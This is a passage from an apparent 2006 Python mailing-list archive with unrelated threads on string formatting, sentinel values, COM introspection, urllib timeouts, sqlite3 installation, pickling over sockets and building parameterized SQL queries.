So Python itself doesn't honor an overridden __str__() method for the "%s" format. Implementing __unicode__() doesn't help, either: >>> class C(unicode): ... def __unicode__(self): return u"YADDA" ... def __str__(self): return "yadda" ... >>> "%s" % C(), unicode(C()) (u'', u'') Somewhere there is an isinstance() test where there should be a test for the exact class. Seems like a bug to me. Peter From Eric_Dexter at msn.com Wed Oct 4 21:49:22 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 4 Oct 2006 18:49:22 -0700 Subject: Where is Python in the scheme of things? In-Reply-To: References: Message-ID: <1160012962.848464.80820@k70g2000cwa.googlegroups.com> Carl Trachte wrote: > I came from a VB/VBA environment before using Python. My experience has > been that Python has a lot more free, pre-coded tools within its community > to do the sort of things I do in my job (geometric algorithms, date-time > functions, processing and accessing lists of items, scientific programming, > etc., etc.). The main strength of VB6 was its ease in dragging and dropping > stuff to make a graphical user interface (GUI). The main strength of VBA is > that a lot of people know it and it interfaces with the Excel spreadsheet > software nicely (except when Windows is acting up, but that's another > story). Tkinker took some getting used to. I've dabbled with wxPython a > bit. After an initial learning curve, the tools aren't that hard to use, > and they both have modules for pre-made widgets (window items) like PMW for > Tkinter. > > The module system, I find, is almost always a step up from dealing with > VB/VBA's DLL's. "DLL hell" is real, especially for someone coming into a > programming environment for the first time. > > My last point is a bit controversial. You will get smarter faster and > cheaper in the Python community. It's not that there aren't smart people in > the (classic) VB community. It's just that there are a lot of people in > that community that never programmed in any other language, people that > think that learning a Unix based system is too much to ask from an employer, > people that believe that the GUI is the quality center and most critical > part of the program, and that the backend is an afterthought. I wish I were > being cynical or exaggerating, but I'm not. Hanging out around the Python > community will make you a better VB, dotNet (C#), or C++ programmer, even if > you go with one of those as your language of choice. > > My 2 cents. > > Carl Trachte > > "gord" wrote in message > news:I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d at magma.ca... > > As a complete novice in the study of Python, I am asking myself where this > > language is superior or better suited than others. For example, all I see > in > > the tutorials are lots of examples of list processing, arithmetic > > calculations - all in a DOS-like environment. > > > > What is particularly disappointing is the absence of a Windows IDE, > > components and an event driven paradigm. How does Python stand relative to > > the big 3, namely Visual C++, Visual Basic and Delphi? I realize that > these > > programming packages are quite expensive now while Python is free (at > least > > for the package I am using - ActivePython). > > > > Please discuss where Python shines. > > Gord > > > > I had a choice of writing in c or in python. I am choosing python because it is the scripting language that is used in csound. I have to admit that it feels like banging my head against the floor sometimes and at other times it is realy rapid. The price is also right being unemployed reduced my software budget even though I do have two c compilers(borland and microsoft), three if you count public domain (bloodshed) and dark basic. I have noticed alot of sound tools that use python and other csound public domain app's that have been writen in python. The gtk stuff is intresting and sorta beg to be put into a public distrubution with a rapid framework and boa-constructor could have alot of new features added for rapid devolopment such as click on code to replace solid values. Possibly the tools only get better with time. http://www.stormpages.com/edexter/csound.html From Matthew.Warren at digica.com Thu Oct 5 07:19:58 2006 From: Matthew.Warren at digica.com (Matthew Warren) Date: Thu, 5 Oct 2006 12:19:58 +0100 Subject: Why do this? In-Reply-To: Message-ID: > Also, having a variable of type str called 'number' seems > perverse (and > probably error prone), so I suspect I might need something like: > And not something I would normally do, but for hastily written contrived examples I might :) > print "There are "+str(number)+" ways to skin a "+furryanimal > > but the format string does the conversion for free. > > The other main reason for preferring format strings is that > they make it > easier to refactor the code. If you ever want to move the > message away from > where the formatting is done then it's a lot easier to > extract a single > string than it is to clean up the concatenation. > -- This is a benefit of pythons implementation of format strings I hadn't considered, that __str__() is called to get the representation. And something I like about python, althgouh at the moment the __xxx__ methods available and their use is something I'm just getting into This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From gagsl-py at yahoo.com.ar Fri Oct 27 15:41:27 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 27 Oct 2006 16:41:27 -0300 Subject: Sentinel values for special cases In-Reply-To: References: Message-ID: <7.0.1.0.0.20061027162224.03fe9e38@yahoo.com.ar> At Friday 27/10/2006 11:40, Aahz wrote: > > GLOBAL = object() > > > > def insert_ids(ids=GLOBAL): > > if ids is GLOBAL: > > ids = get_global_ids() > >The one disadvantage of this approach is that it complicates pickling >if/when you store the stentinel in an instance. There are ways of >working around that, but none are pleasant. But why should you store the sentinel in an instance? It's only purpose is to detect a special case in the parameter, when None is not appropiate. Even if you were assigning instance attributes, you can use the sentinel as a default class attribute (which are not pickled). >>> GLOBAL = object() >>> class A(object): ... x = GLOBAL ... def __init__(self, x=GLOBAL): ... if x is not GLOBAL: ... self.x = x ... >>> a = A(1) >>> a.x 1 >>> vars(a) {'x': 1} >>> b = A() >>> b.x >>> vars(b) {} >>> >>> from cPickle import loads,dumps >>> s=dumps(b) >>> b2=loads(s) >>> b2.x >>> vars(b2) {} -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From cfriedalek at gmail.com Wed Oct 25 03:22:04 2006 From: cfriedalek at gmail.com (cfriedalek at gmail.com) Date: 25 Oct 2006 00:22:04 -0700 Subject: win32com problem In-Reply-To: References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com> <1161742821.165933.113900@i42g2000cwa.googlegroups.com> Message-ID: <1161760924.325276.67930@e3g2000cwe.googlegroups.com> Gabriel Genellina wrote: > Run it on the debugger step by step, and inspect all the intermediate objects. > Synergy.StudyDoc might be a function, by example, so you should add > another pair of (). > This is not obvious looking at the VB code. (Sorry, tied up this arvo so I could respond to your suggestion earlier.) Here's part of a debug session. (Pdb) type(Synergy.StudyDoc) (Pdb) type(Synergy.StudyDoc.GetFirstTet) (Pdb) Synergy.StudyDoc.GetFirstTet > (Pdb) dir (Synergy.StudyDoc) ['_ApplyTypes_', '_FlagAsMethod', '_LazyAddAttr_', '_NewEnum', '_Release_', '__A ttrToID__', '__LazyMap__', '__call__', '__cmp__', '__doc__', '__getattr__', '__g etitem__', '__init__', '__int__', '__len__', '__module__', '__nonzero__', '__rep r__', '__setattr__', '__setitem__', '__str__', '_builtMethods_', '_enum_', '_fin d_dispatch_type_', '_get_good_object_', '_get_good_single_object_', '_lazydata_' , '_make_method_', '_mapCachedItems_', '_oleobj_', '_olerepr_', '_print_details_ ', '_proc_', '_unicode_to_string_', '_username_', '_wrap_dispatch_'] (Pdb) dir (Synergy.StudyDoc.GetFirstTet) ['_ApplyTypes_', '_FlagAsMethod', '_LazyAddAttr_', '_NewEnum', '_Release_', '__A ttrToID__', '__LazyMap__', '__call__', '__cmp__', '__doc__', '__getattr__', '__g etitem__', '__init__', '__int__', '__len__', '__module__', '__nonzero__', '__rep r__', '__setattr__', '__setitem__', '__str__', '_builtMethods_', '_enum_', '_fin d_dispatch_type_', '_get_good_object_', '_get_good_single_object_', '_lazydata_' , '_make_method_', '_mapCachedItems_', '_oleobj_', '_olerepr_', '_print_details_ ', '_proc_', '_unicode_to_string_', '_username_', '_wrap_dispatch_'] I'm pretty green with this kind of introspection (but willing to dig in and learn). With the VBS code seems like GetFirstTet is a method of StudyDoc that returns a variable which converted to string yields "TE1" etc. But that doesn't seem to be true for python. Is there any other way I can find out what attributes etc are available to the GetFirstTet instance? The type library is not supplied with the app. so if my basic understanding is correct, I can't early bind. From hanumizzle at gmail.com Fri Oct 6 22:52:05 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 22:52:05 -0400 Subject: dictionary containing a list In-Reply-To: <1160170679.625037.300000@c28g2000cwb.googlegroups.com> References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com> Message-ID: <463ff4860610061952p4f1480cex31f38eb0b9e58cf@mail.gmail.com> On 6 Oct 2006 14:37:59 -0700, Ben wrote: > Is there a way to acheive what I was attempting ? I have done something > almost identical with classes in a list before, and in that case a new > instance was created for each list entry... Not sure what you're trying to pull off, but you may wish to copy the items in question. (Questions indeed!). Dictionarys have their own shallow copy method, surprisingly named copy, and there is also a copy module that does shallow and deep copy (copy and deepcopy, resp.) HTH, Theerasak From salvatore.didio at wanadoo.fr Mon Oct 16 14:31:14 2006 From: salvatore.didio at wanadoo.fr (Salvatore) Date: 16 Oct 2006 11:31:14 -0700 Subject: urllib.urlopen: Errno socket error In-Reply-To: <1161022115.983554.76140@h48g2000cwc.googlegroups.com> References: <1161022115.983554.76140@h48g2000cwc.googlegroups.com> Message-ID: <1161023474.872714.138630@f16g2000cwb.googlegroups.com> Hello, Try to increase the time out : socket.settimeout(n) and catch the timeout error when it occurs Regards kgrafals at gmail.com a ?crit : > Hi, > > I'm just trying to read from a webpage with urllib but I'm getting > IOErrors. This is my code: > > import urllib > sock = urllib.urlopen("http://www.google.com/") > > and this is the error: > > Traceback (most recent call last): > File "", line 1, in > sock = urllib.urlopen("http://www.google.com/") > File "C:\Python25\lib\urllib.py", line 82, in urlopen > return opener.open(url) > File "C:\Python25\lib\urllib.py", line 190, in open > return getattr(self, name)(url) > File "C:\Python25\lib\urllib.py", line 325, in open_http > h.endheaders() > File "C:\Python25\lib\httplib.py", line 856, in endheaders > self._send_output() > File "C:\Python25\lib\httplib.py", line 728, in _send_output > self.send(msg) > File "C:\Python25\lib\httplib.py", line 695, in send > self.connect() > File "C:\Python25\lib\httplib.py", line 679, in connect > raise socket.error, msg > IOError: [Errno socket error] (10060, 'Operation timed out') > > I'm behind my company's firewall. Would that cause a problem? If it > does, How do I get around it? From DonQuixoteVonLaMancha at gmx.net Sun Oct 8 14:59:24 2006 From: DonQuixoteVonLaMancha at gmx.net (Karsten W.) Date: 8 Oct 2006 11:59:24 -0700 Subject: recommendations for personal journaling application In-Reply-To: <1160330083.041100.127480@e3g2000cwe.googlegroups.com> References: <1160330083.041100.127480@e3g2000cwe.googlegroups.com> Message-ID: <1160333964.676088.60430@e3g2000cwe.googlegroups.com> Hi! Donnie Rhodes wrote: > So what I'm interested in is how this would work. Is this 'event > driven' in nature? Would I define the bulk of these slash commands in a > function and then call it at the end of the script? What would be a > good module to look at for the text processing and searching aspects? For implementing the commandline interface, have a look at the getopt module. If you store your data in a flat text file, you might use string.find() or the re module to do the searching. The re module can search case insensitive and is more versatile. But maybe you want let your script create some SQL statements and use the pysqlite module to store and search the data. Kind regards, Karsten. From kareta at web.de Tue Oct 24 06:48:46 2006 From: kareta at web.de (Juergen Kareta) Date: Tue, 24 Oct 2006 12:48:46 +0200 Subject: numpy error In-Reply-To: References: <4q4eggFl1prqU1@individual.net> Message-ID: <4q69h3FlltnhU1@individual.net> > Or install the numpy-1.0rc2 binary which is now again available on > sourceforge. Hello Travis, thanks for your help. Going back to the 1.0rc2 release was successful. Ok, I had also to copy wxmsw26uh_vc.dll to my path and get around wx.PrindData.SetPrinterCommand, but that's because I run wxpython 2.7.1.2. Since it's really fresh it'll take a little time to adapt in all third parties. J?rgen From fredrik at pythonware.com Mon Oct 9 05:10:39 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 9 Oct 2006 11:10:39 +0200 Subject: Why do this? References: Message-ID: Lawrence D'Oliveiro wrote: > Secondly, it's less convenient for cases where a dynamic query is being > built. I previously gave the SQLStringList example. If that's not enough, > here's another (simple) one: > > Conditions = [] > if Name != None : > Conditions.append("name = %s" % SQLString(Name)) > #end if > if Address != None : > Conditions.append("address = %s" % SQLString(Address)) > #end if > if PhoneNr != None : > Conditions.append("phone_nr = %s" % SQLString(PhoneNr)) > #end if > Query = "select * from table" > if len(Conditions) != 0 : > Query += " where " + " and ".join(Conditions) > #end if now that's some remarkably ugly Python code. it's well-known that people can write Fortran in all languages, but writing Visual Basic in Python? (shudder) here's a straight-forward and more efficient translation of that code: where = []; params = [] if name is not None: where.append("name=?"); params.append(name) if address is not None: where.append("address=?"); params.append(address) if phone_nr is not None: where.append("phone_nr=?"); params.append(phone_nr) query = "select * from table" if where: query += " where " + " and ".join(where) cursor.execute(query, tuple(params)) which works for all data types and without any error-prone explicit quotation non- sense, and which can be trivially refactored into where = []; params = [] def append(column, value): if value is not None: where.append(column+"=?"); params.append(value) append("name", name) append("address", address) append("phone_nr", phone_nr) query = "select * from table" if where: query += " where %s " + " and ".join(where) cursor.execute(query, tuple(params)) which scales a lot better if when you're adding more fields, and which can be trivially refactored into a full statement builder: def select(table, **kw): where = []; params = [] for column, value in kw.items(): if value is not None: where.append(column+"=?") params.append(value) query = "select * from " + table if where: query += " where " + " and ".join(where) return query, tuple(params) cursor.execute(*select("table", name=name, address=address, phone_nr=phone_nr)) where the "select" function can of course be put in a support library and reused every- where you make simple selects; alternatively, you can wrap the whole thing into a some- thing like class where_statement: def __init__(self, db): self.where = [] self.params = [] if db.paramstyle == "qmark": self.marker = "?" if db.paramstyle == "format": self.marker = "%s" else: raise NotImplementedError( "unsupported parameter style: %r" % db.paramstyle ) def __setitem__(self, column, value): if value is not None: self.where.append(column+"="+self.marker) self.params.append(value) def __str__(self): if not self.where: return "" return " where " + " and ".join(self.where) def __iter__(self): return iter(self.params) where = where_statement(database) where["name"] = name where["address"] = address where["phone_nr"] = phone_nr cursor.execute("select * from table" + str(where), tuple(where)) which actually protests if you run it on a database that doesn't use the same para- meter markers, and can be trivially extended to support more DB-API variants. or, of course, refactored into something that's even easier to use for the actual use cases. this is Python, after all, and as we all know, "the joy of coding Python should be in seeing short, concise, readable classes that express a lot of action in a small amount of clear code - not in reams of trivial code that bores the reader to death". From martin at v.loewis.de Wed Oct 4 16:50:18 2006 From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 22:50:18 +0200 Subject: How to ask sax for the file encoding In-Reply-To: References: Message-ID: <45241E8A.8030103@v.loewis.de> Edward K. Ream schrieb: > Can anyone tell me how the content handler can determine the encoding of the > file? Can sax provide this info? That's not supported in SAX. If you use Expat directly (module pyexpat), you can set the XmlDeclHandler, which is called when the XML declaration is received (with the parameters version, encoding, and standalone). However, as the XML declaration is optional, this callback might not get invoked. Regards, Martin From mesmith.15507218 at bloglines.com Fri Oct 20 17:38:28 2006 From: mesmith.15507218 at bloglines.com (Mark) Date: Fri, 20 Oct 2006 16:38:28 -0500 Subject: Using cElementTree and elementtree.ElementInclude Message-ID: <453941D4.1000909@bloglines.com> I have an elementtree created with cElementTree. I then use ElementInclude to resolve some xinclude elements. But then I want to move those included elements to be children of the root root.append(included_child) but I get an error message TypeError: 'append() argument 1 must be Element, not instance' The type of included_child is 'instance'. The type of the cElementTree children is 'Element'. How do I resolve this conflict? I am using cElementTree version 1.0.3 and elementtree version 1.2.6 and python version 2.3.4. Will later versions correct the problem? Thanks, Mark From steve at holdenweb.com Mon Oct 23 14:57:57 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 23 Oct 2006 19:57:57 +0100 Subject: Python 2.5 ; Effbot console ; thank ; pb release. In-Reply-To: <1161628929.144303.173130@f16g2000cwb.googlegroups.com> References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> <1161628929.144303.173130@f16g2000cwb.googlegroups.com> Message-ID: Paul Boddie wrote: > Steve Holden wrote: > >>Fredrik Lundh wrote: >> >>>M?ta-MCI wrote: >>> >>> >>>>For the professional developments, it is a major risk. > > > I'll cut in here and mention that it's a risk that can be managed > through various well understood methods of deployment. For me, Python > 2.4 is going to be good enough until (and even beyond) the time I can > be bothered to either upgrade my distribution's packages or to upgrade > my distribution and get the packages for Python 2.5. At which point, > I'll just need to select the pinnacles of my package tower; then I can > hopefully just press the button and have everything working on Python > 2.5. > > Generally, package developers shouldn't be "aggressively" using the > absolute latest and greatest version's features, and if you're pursuing > "professional developments" you might want to keep using the mature > releases of Python whilst letting other developers know that adoption > of their stuff will be limited if they make it part of a rapidly moving > target. Sure, I can imagine that people are desperate to use the "with" > statement all over the place, but maintainers of widely used (or > "professional") stuff have to exercise some conservatism - otherwise > someone has to start forking and backporting their changes. > > >>>some days, I ask myself why I shouldn't just use GPL for everything I >>>do, and ship it as source code only. >>> >> >>To which I presume the answer is that you are considerate of Windows >>users who'd rather not compile their own Windows applications due to the >>cost of using the commercial compilers and the complexity of using the >>open source ones. > > > Well, there's a commercial service you could offer, Steve. ;-) > You think people would pay? > >>Whatever the reasons, a vote of thanks to all extension authors who *do* >>bother to compile for Windows (despite complaints from others who don't >>feel this happens quickly enough). > > > This happens every time a new release of Python comes out: people want > to play with the new features, but they experience a period of > frustration because their favourite packages aren't available. I'd > advise people to download the installer, get their fill of the new > features for a few minutes, then schedule another look in a few weeks. > Or they can start paying people to make it all happen "yesterday", of > course. > If there's evidence of demand this *is* something I'd consider doing. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From bjourne at gmail.com Fri Oct 20 17:51:58 2006 From: bjourne at gmail.com (=?ISO-8859-1?Q?BJ=F6rn_Lindqvist?=) Date: Fri, 20 Oct 2006 23:51:58 +0200 Subject: PSF Infrastructure has chosen Roundup as the issue tracker for Python development In-Reply-To: References: Message-ID: <740c3aec0610201451m3078d4edme680032d9c86d603@mail.gmail.com> On 10/20/06, Brett Cannon wrote: > At the beginning of the month the PSF Infrastructure committee announced > that we had reached the decision that JIRA was our recommendation for the > next issue tracker for Python development. Realizing, though, that it was a > tough call between JIRA and Roundup we said that we would be willing to > switch our recommendation to Roundup if enough volunteers stepped forward to > help administer the tracker, thus negating Atlassian's offer of free managed > hosting. > > Well, the community stepped up to the challenge and we got plenty of > volunteers! In fact, the call for volunteers has led to an offer for > professional hosting for Roundup from Upfront Systems. The committee is Good times! Mind telling us exactly how many volunteers have stepped forward? It may be an interesting statistic for how big interest there is in the "freeness" of software. -- mvh Bj?rn From kelong_2000 at yahoo.com Sun Oct 22 00:18:04 2006 From: kelong_2000 at yahoo.com (Kenneth Long) Date: Sat, 21 Oct 2006 21:18:04 -0700 (PDT) Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ? Message-ID: <20061022041804.47273.qmail@web51102.mail.yahoo.com> > Okay if one builds such from sources... but us poor > Windows flunkies > without a build environment have to wait for some > kindly soul to build > the installer compatible with the new Python > version. > especially since I havent got MS visual studio... and mingw is not supported... :-( hello __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From paul at boddie.org.uk Wed Oct 4 08:11:23 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 4 Oct 2006 05:11:23 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1159875634.285633.226980@k70g2000cwa.googlegroups.com> <45238b15$0$27309$afc38c87@news.optusnet.com.au> Message-ID: <1159963882.972278.56370@m73g2000cwd.googlegroups.com> Richard Jones wrote: > Nick Craig-Wood wrote: > > > > Trac is really good in my experience. > > Trac was considered. > > > A nice extra is that it is written in python. > > So are Roundup and Launchpad, two of the other three trackers considered. It should be noted that most skepticism (that I'm aware of) about Launchpad is typically rooted in that service's closed source nature. People voicing such skepticism don't seem to cut it any slack just because it is apparently written in Python. Paul From tejovathi.p at gmail.com Fri Oct 13 00:33:19 2006 From: tejovathi.p at gmail.com (Teja) Date: 12 Oct 2006 21:33:19 -0700 Subject: COM and Threads In-Reply-To: <8qEXg.27287$Go3.15608@dukeread05> References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> <1160710172.060054.56400@e3g2000cwe.googlegroups.com> <8qEXg.27287$Go3.15608@dukeread05> Message-ID: <1160713999.135433.234750@b28g2000cwb.googlegroups.com> hg wrote: > Teja wrote: > > hg wrote: > > > >> Teja wrote: > >>> I have an application which uses COM 's Dispatch to create a COM based > >>> object. Now I need to upgrade the application to a threaded one. But > >>> its giving an error that COM and threads wont go together. Specifically > >>> its an attribute error at the point where COM object is invoked. Any > >>> pointers please?????? > >>> > >> If COM is not thread safe, then use processes > > > > Thanks a LOT for your reply...... Can u please tell me how to > > processes...... > > > > I gather pywin32 gives you the trick to do it (CreateProcess ?) as I > gather "fork"ing is not available under Windows. Hg, This is the scenario.. I create a COM object in main. I need to access that object in a thread or subprocess or whatever. Can u pls tell me how to do it. Its a COM object. Thnks From fredrik at pythonware.com Wed Oct 11 18:12:38 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 12 Oct 2006 00:12:38 +0200 Subject: python 2.5 & sqlite3 In-Reply-To: References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> <1160603125.964879.17480@m73g2000cwd.googlegroups.com> Message-ID: > > Either way I need to know where to put the sqlite files, right? > > not if you're using a proper release, no. the easiest way to unbreak your ActiveState installation is probably to install the python.org version, and copy c:\Python25\DLLs\_sqlite3.pyd and c:\Python25\DLLs\sqlite3.dll to the corresponding location in the other installation. From horpner at yahoo.com Wed Oct 4 15:01:09 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 4 Oct 2006 21:01:09 +0200 Subject: item access time: sets v. lists References: <4cSUg.7864$753.4683@trnddc05> <3zSUg.25440$DU3.23095@tornado.texas.rr.com> Message-ID: On 2006-10-04, Paul McGuire wrote: > "Neil Cerutti" wrote in message > news:slrnei7sc2.fs.horpner at FIAD06.norwich.edu... > >> Look at the code again. It's not testing what it says it's >> testing. > > It isnt? > > The only quibble I can see is that there really is no "first" > element in a set. I picked the "0 in set" and "0 in list" to > pick the fastest case for list, which does a linear search > through the list elements. > > Where did I go wrong on the test descriptions? It seems to be timing "testing for membership", not "random access". Random access is just seq[n]; at least, that's the assumption I made. Perhaps I read the test description out of context and got confused. -- Neil Cerutti 8 new choir robes are currently needed, due to the addition of several new members and to the deterioration of some of the older ones. --Church Bulletin Blooper From steve at holdenweb.com Thu Oct 12 23:08:32 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 13 Oct 2006 04:08:32 +0100 Subject: Sending binary pickled data through TCP In-Reply-To: <452EEEF1.6030606@ilm.com> References: <452EEEF1.6030606@ilm.com> Message-ID: David Hirschfield wrote: > I have a pair of programs which trade python data back and forth by > pickling up lists of objects on one side (using > pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket > connection to the receiver, who unpickles the data and uses it. > > So far this has been working fine, but I now need a way of separating > multiple chunks of pickled binary data in the stream being sent back and > forth. > > Questions: > > Is it safe to do what I'm doing? I didn't think there was anything > fundamentally wrong with sending binary pickled data, especially in the > closed, safe environment these programs operate under...but maybe I'm > making a poor assumption? > If there's no chance of malevolent attackers modifying the data stream then you can safely ignore the otherwise dire consequences of unpickling arbitrary chunks of data. > I was going to separate the chunks of pickled data with some well-formed > string, but couldn't that string potentially randomly appear in the > pickled data? Do I just pick an extremely > unlikely-to-be-randomly-generated string as the separator? Is there some > string that will definitely NEVER show up in pickled binary data? > I presumed each chunk was of a know structure. Couldn't you just lead of with a pickled integer saying how many chunks follow? > I thought about base64 encoding the data, and then decoding on the > opposite side (like what xmlrpclib does), but that turns out to be a > very expensive operation, which I want to avoid, speed is of the essence > in this situation. > Yes, base64 stuffs three bytes into four (six bits per byte) giving you a 33% overhead. Having said that, pickle isn't all that efficient a representation because it's designed to be portable. If you are using machines of the same type there are almost certainly faster binary encodings. > Is there a reliable way to determine the byte count of some pickled > binary data? Can I rely on len() == bytes? > Yes, since pickle returns a string of bytes, not a Unicode object. If bandwidth really is becoming a limitation you might want to consider uses of the struct module to represent things more compactly (but this may be too difficult if the objects being exchanged are at all complex). regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From __peter__ at web.de Thu Oct 12 09:32:25 2006 From: __peter__ at web.de (Peter Otten) Date: Thu, 12 Oct 2006 15:32:25 +0200 Subject: Assigning different Exception message References: Message-ID: Tor Erik Soenvisen wrote: > try: > self.cursor.execute(sql) > except AttributeError, e: > if e.message == "oracleDB instance has no attribute 'cursor'": > e.message = 'oracleDB.open() must be called before' + \ > ' oracleDB.query()' > raise AttributeError, e > > This code does not re-assign e's message when the conditional is > satisfied. Why not? It does, but e.args is used to generate the message shown: >>> try: ... None.not_there ... except AttributeError, e: ... e.args = ("whatever",) ... raise e ... Traceback (most recent call last): File "", line 5, in AttributeError: whatever However, I would prefer to rewrite your snippet along the lines: try: cursor = self.cursor except AttributeError: raise EriksCustomError("oracleDB.open()...") else: cursor.execute(sql) Peter From Roka100 at gmail.com Tue Oct 3 00:24:15 2006 From: Roka100 at gmail.com (Jia,Lu) Date: 2 Oct 2006 21:24:15 -0700 Subject: [Q]An error with my module in C Message-ID: <1159849454.995535.67160@i42g2000cwa.googlegroups.com> hello,all. I wrote a module in C as below, BUT msg() method cannot work allright. #include #include static PyObject *Roka_msg(PyObject *self,PyObject *args) { printf("Roka Python lib. Version 1.0\n"); } static PyObject *Roka_func(PyObject *self,PyObject *args) { long arg; if(!PyArg_ParseTuple(args,"l",&arg)){ return NULL; } return Py_BuildValue("l",arg*2); } //---------------------------------------------------------- static struct PyMethodDef functions[]= { {"msg",Roka_msg,METH_VARARGS}, {"func",Roka_func,METH_VARARGS}, {NULL,NULL,0}, }; void initRoka(void) { (void)Py_InitModule("Roka",functions); } ------------------------------------------------------------------------- python result: >>>import Roka >>>Roka.msg() Roka Python lib. Version 1.0 Segmentation fault I throw out a Segmentation fault after display my message. Can anyone tell me why? thanks. From jorge.vargas at gmail.com Sun Oct 22 10:33:04 2006 From: jorge.vargas at gmail.com (Jorge Vargas) Date: Sun, 22 Oct 2006 10:33:04 -0400 Subject: implementation of "in" that returns the object. Message-ID: <32822fe60610220733x315dbde4x3ebe5ebd20c31d0b@mail.gmail.com> Hi I need to check if an object is in a list AND keep a reference to the object I have done it this way but is there a better one? >>> def inplusplus(value,listObj): ... for i in listObj: ... if i is value: ... return value ... return False ... >>> l = [1,2,3,4] >>> print inplusplus(2,l) 2 >>> print inplusplus(9,l) False >>> print inplusplus(1,l) 1 >>> l.append(0) >>> print inplusplus(0,l) 0 From steve at holdenweb.com Mon Oct 9 04:36:40 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 09 Oct 2006 09:36:40 +0100 Subject: CGI Tutorial In-Reply-To: References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> <1160071257.200774.90900@e3g2000cwe.googlegroups.com> Message-ID: Lawrence D'Oliveiro wrote: > In message , Steve > Holden wrote: > > >>Lawrence D'Oliveiro wrote: >> >>>In message , Steve >>>Holden wrote: >>> >>> >>> >>>>Credit card numbers should be encrypted in the database, of course, but >>>>they rarely are (even by companies whose reputations imply they ought to >>>>know better). >>> >>>How would encryption help? They'd still have to be decrypted to be used. >> >>Indeed they would, but with proper key management the probability that >>they can be stolen from a database in their plaintext form is rather >>lower. Just last week a police employee in my class told us of an >>exploit where a major credit card copmany's web site had been hacked >>using a SQL injection vulnerability. This is usually done with the >>intent of gaining access to credit card data. > > > If they can do that, it doesn't seem much of a step to compromise the code > that decrypts the credit card data, as well. Keeping it encrypted, when the > key needs to be kept at the same (in)security level, is just > security-through-obscurity. It depends on what level of compromise they obtain through SQL injection. It does represent a significant additional burden on attackers before sensitive data becomes known. Clearly if someone mounts a successful privilege escalation attack then potentially everything on the system is compromised. Note further, by the way, that credit card numbers need not necessarily be decrypted to be used: if you are the credit card processor (rather than a merchant requiring payment) then you can instead encrypt the card number provided by the user and use that as your database key. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From newsuser at stacom-software.de Tue Oct 17 09:50:47 2006 From: newsuser at stacom-software.de (Alexander Eisenhuth) Date: Tue, 17 Oct 2006 15:50:47 +0200 Subject: Looking for assignement operator Message-ID: Hello, is there a assignement operator, that i can overwrite? class MyInt: def __init__(self, val): assert(isinstance(val, int)) self._val = val a = MyInt(10) # Here i need to overwrite the assignement operator a = 12 Thanks Alexander From fredrik at pythonware.com Tue Oct 3 16:02:57 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 03 Oct 2006 22:02:57 +0200 Subject: Looping over a list question In-Reply-To: <1159905151.490262.260000@h48g2000cwc.googlegroups.com> References: <1159897804.722852.8160@i42g2000cwa.googlegroups.com> <1159905151.490262.260000@h48g2000cwc.googlegroups.com> Message-ID: stephen at theboulets.net wrote: > My "print" line is actually a long 40 line block. and? if your editor isn't horribly broken, that shouldn't be much of a problem. (but you may want to refactor the code; if you have a processing block that large, it's probably better to move all or parts of it into a support function). From fdu.xiaojf at gmail.com Mon Oct 16 01:25:07 2006 From: fdu.xiaojf at gmail.com (fdu.xiaojf at gmail.com) Date: Mon, 16 Oct 2006 13:25:07 +0800 Subject: How to send E-mail without an external SMTP server ? Message-ID: <453317B3.8080104@gmail.com> Hi, I just want to send a very simple email from within python. I think the standard module of smtpd in python can do this, but I haven't found documents about how to use it after googleing. Are there any examples of using smtpd ? I'm not an expert,so I need some examples to learn how to use it. Or maybe there is a better way to to this? Thanks. xiaojf From tshepang at gmail.com Sun Oct 15 06:43:18 2006 From: tshepang at gmail.com (Tshepang Lekhonkhobe) Date: Sun, 15 Oct 2006 12:43:18 